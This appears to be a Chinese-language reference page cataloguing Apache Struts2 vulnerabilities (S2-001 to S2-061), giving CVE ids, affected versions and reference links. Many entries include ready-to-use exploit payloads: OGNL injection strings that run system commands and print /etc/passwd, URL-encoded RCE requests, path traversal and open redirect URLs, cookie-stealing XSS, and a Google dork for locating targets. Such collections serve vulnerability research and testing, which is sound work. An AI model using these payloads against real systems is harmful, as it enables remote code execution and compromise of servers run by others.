Struts

开源项目

https://github.com/xhycccc/Struts2-Vuln-Demo
https://github.com/prakharathreya/Struts2-RCE burp插件

参考文章

https://issues.apache.org/jira/browse/WW-3858
https://cwiki.apache.org/confluence/display/WW/S2-012
https://www.cnblogs.com/LittleHann/p/4648833.html
https://blog.csdn.net/sinat_40662281/article/details/88755721
http://blog.sina.com.cn/s/blog_4550f3ca0101g6sh.html
https://my.oschina.net/cronie/blog/172641
https://www.jianshu.com/p/d3e311528426
https://struts.apache.org/plugins/convention/
https://www.cnblogs.com/huangcongcong/p/4701146.html
https://struts.apache.org/security/#restrict-access-to-the-config-browser-plugin
https://cloud.tencent.com/developer/article/1413525
https://www.ktanx.com/blog/p/4929
https://www.cnblogs.com/yjmyzz/p/struts2-rest-plugin-advanced-usage.html
https://help.aliyun.com/document_detail/72057.html
https://www.cnblogs.com/zhangminghui/p/4107735.html
http://json-lib.sourceforge.net/

漏洞分析

struts属性 - tag

struts属性 - Freemarker标签
Jackson
XStream

文件上传-Content-Type

struts属性 - xxx标签

JSON-lib

XStream

struts插件 - rest

Spring security AccessDecisionManager

URLValidator 

struts插件 - convention

struts功能类 - XSLTResult 

拦截器 - I18NInterceptor

struts配置不当 - 字符编码问题

struts配置不当 - 调试模式打开

struts功能类 - CookieInterceptor 

valueStack

XWORK

OGNL

补丁

https://github.com/apache/struts/commit/19494718865f2fb7da5ea363de3822f87fbda264

CVE-2020-17530 | s2-061

影响版本
Struts 2.0.0 - Struts 2.5.25

%{...}

CVE-2019-0233 | s2-060

影响版本
Apache Struts 2.00 - 2.5.20

CVE-2019-0230 | s2-059 

影响版本
Apache Struts 2.00 - 2.5.20

s2-058

影响版本
Struts 2.0.0 - 2.5.12

cve-2018-11776 | s2-057

影响版本
Struts 2.3 - 2.3.34
Struts 2.5 - 2.5.16

CVE-2018-1327 | s2-056

影响版本
Struts 2.1.1 - Struts 2.5.14.1

poc
DOS

S2-055

影响版本
Struts 2.5.0.0 - Struts 2.5.14.0

CVE-2017-15707 | s2-054

影响版本
Struts 2.5 - Struts 2.5.14

poc
DOS

CVE-2017-12611 | s2-053

影响版本
Struts 2.0.1 - Struts 2.3.33
Struts 2.5 - Struts 2.5.10

poc

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd='ipconfig'}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

CVE-2017-9805 | s2-052

影响版本
Struts 2.3.0 - Struts 2.3.33
Struts 2.5.0 - Struts 2.5.12

调用栈:
ContentTypeInterceptor.java  getHandlerForRequest()
ContentTypeInterceptor.java handler.toObject(reader, target )
XStreamHandler.java toObject()

poc

S2-devMode

影响版本
Struts 2.1.0-2.3.1

CVE-2017-9793 | s2-051

影响版本
Struts 2.1.6 - 2.3.33 
Struts 2.5 - 2.5.12

poc
DOS

CVE-2017-9804 | s2-050

影响版本
Struts 2.3.7 - Struts 2.3.33
Struts 2.5 - Struts 2.5.12

poc
s2-047的绕过(正则)

CVE-2017-9787 | s2-049

影响版本
Struts 2.3.7 - Struts 2.3.32
Struts 2.5 - Struts 2.5.10.1

poc
DOS

cve-2017-9791 | s2-048

影响版本
Struts 2.3.x

CVE-2017-7672 | s2-047

影响版本
Struts 2.5 - Struts 2.5.10.1
poc s2
-044的绕过(正则)

cve-2017-5638 | s2-046

影响版本
Struts 2.3.5-2.3.31
Struts 2.5-2.5.10

CVE-2017-5638 | s2-045

影响版本
Struts 2.3.5-2.3.31 
Struts 2.5-2.5.10
poc
Content-Type: multipart/form-data
%{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}; 

CVE-2016-8738 | s2-044

影响版本
Struts 2.5 - Struts 2.5.12

poc
DOS

s2-043

影响版本
Usage of the Config Browser plugin in a production evnironment

CVE-2016-6795 | s2-042

影响版本

Struts 2.3.1 - 2.3.30

Struts 2.5 - 2.5.2


poc
path traversal

CVE-2016-4465 | s2-041

影响版本
Struts 2.3.20 - 2.3.28.1
Struts 2.5 - 2.5.12

poc
DOS - 正则使用不当

CVE-2016-4431 | s2-040

影响版本
Struts 2.3.20 - Struts Struts 2.3.28.1

poc
重定向

CVE-2016-4433 | s2-039

影响版本
Struts 2.3.20 - Struts Struts 2.3.28.1

poc
重定向

CVE-2016-4430 | s2-038

影响版本
Struts 2.3.20 - Struts Struts 2.3.28.1

poc
CSRF
cve-2016-4438 | S2-037
影响版本
Struts 2.3.20-2.3.28.1

CVE-2016-4461 | s2-036

影响版本
Struts 2.0.0 - Struts 2.3.28.1

poc
s2-029的绕过

CVE-2016-4436 | s2-035

影响版本
Struts 2.0.0 - Struts 2.3.28.1

poc

CVE-2016-3093 | s2-034

影响版本
Struts 2.0.0 - Struts 2.3.24.1

poc
dos

s2-033

影响版本
Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)
cve-2016-3081 | s2-032
影响版本
Struts 2.3.18-2.3.28(不包含2.3.20.3和2.3.24.3)

CVE-2016-3082 | s2-031

影响版本
Struts 2.0.0 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

poc

CVE-2016-2162 | s2-030

影响版本
Struts 2.0.0 - Struts Struts 2.3.24.1

poc
XSS

CVE-2016-0785 | s2-029

影响版本
Struts 2.0.0-2.3.24.1(2.3.20.3不包含)

poc
(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,

CVE-2016-4003 | s2-028

影响版本
Struts 2.0.0 - Struts Struts 2.3.24.1

poc
XSS

CVE-2016-3090 | s2-027

影响版本
Struts 2.0.0 - Struts Struts 2.3.16.3

poc
正则使用不当问题

CVE-2015-5209 | s2-026

影响版本
Struts 2.0.0 - Struts Struts 2.3.24

CVE-2015-5169 | s2-025

影响版本
Struts 2.0.0 - Struts Struts 2.3.16.3

poc
XSS

CVE-2015-1831 | s2-024

影响版本
Struts 2.3.20

poc

CVE-2014-7809 | s2-023

影响版本
Struts 2.0.0 - Struts 2.3.16.3

poc
csrf

CVE-2014-0116 | s2-022

影响版本
Struts 2.0.0 - Struts 2.3.16.3

s2-021 |CVE-2014-0112,CVE-2014-0112

影响版本
Struts 2.0.0 - Struts 2.3.16.3

poc
s2-020的绕过

s2-020 | CVE-2014-0050 (DoS), CVE-2014-0094 (ClassLoader manipulation)

影响版本
Struts 2.0.0 - Struts 2.3.16.1
poc dos http:
//localhost:8080/S2-XX/Login.action?class.classLoader.resources.dirContext.docBase=不存在路径 rce http://localhost:8080/S2-XX/Login.action?class.classLoader.resources.dirContext.docBase=//virus/test
S2-019
影响版本
Struts 2.0.0-2.3.15.1

 

CVE-2013-4310 | s2-018

影响版本
Struts 2.0.0 - Struts 2.3.15.2

poc - 安全机制绕过

CVE-2013-2248 | s2-017

影响版本
Struts 2.0.0 - Struts 2.3.15 

poc- 重定向
http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/
http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23

S2-016

影响版本
Struts 2.0.0-2.3.15

S2-015

影响版本
Struts 2.0.0-2.3.14.2

poc
/${1+1}
exp

/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action

S2-014

影响版本
Struts 2.0.0-2.3.14.1

CVE-2013-1966(S2-013)

影响版本
Struts 2.0.0-2.3.14.1
poc
%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23out.println%28%23d%29%2C%23out.close%28%29%29%7D
CVE-2013-1965(S2-012)
影响版本
2.0.0-2.3.13

poc
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd.exe", "/c", "ipconfig"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

重定向过程中参数未过滤导致S2-002|S2-003|S2-009再利用

CVE-2012-4387 | s2-011

影响版本
Struts 2.0.0 - Struts 2.3.4  DOS

CVE-2012-4386 | s2-010

影响版本
Struts 2.0.0 - Struts 2.3.4

cve-2011-3923 | S2-009

影响版本
Struts 2.0.0-2.3.1.1

poc
(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

S2-008

影响版本
Struts 2.1.0-2.3.1

poc
%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22ls%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()

CVE-2012-0838 | Struts-s2-007

影响版本
Struts 2.0.0-2.2.3

poc
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + 

CVE-2011-1772 | s2-006

影响版本
Struts 2.0.0 - Struts 2.2.1.1

poc
http://localhost:8080/struts2-blank/home.action!login:cantLogin<script>alert(document.cookie)</script>=some_value

CVE-2010-1870 | s2-005

影响版本
Struts 2.0.0 - Struts 2.1.8.1

s2-004

影响版本
Struts 2.0.0 - 2.0.11.2
Struts 2.1.0 - 2.1.2

poc
http://localhost:8080/struts2-blank-2.0.11.1/struts..
http://localhost:8080/struts2-blank-2.0.11.1/struts/..%252f
http://exampletomcat.com:8080/struts2-blank-2.0.11.1/struts/..%252f..%252f..%252fWEB-INF/classess/example/Login.class/

s2-003

影响版本
Struts 2.0.0 - Struts 2.1.8.1

s2-002

影响版本
Struts 2.0.0 - Struts 2.0.11

poc
<script 1>alert(1)</script>

s2-001

影响版本
Struts 2.0.0 - Struts 2.0.8
poc
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

Google Hack: filetype:action 

https://help.aliyun.com/document_detail/72057.html

原文地址:https://www.cnblogs.com/AtesetEnginner/p/9578131.html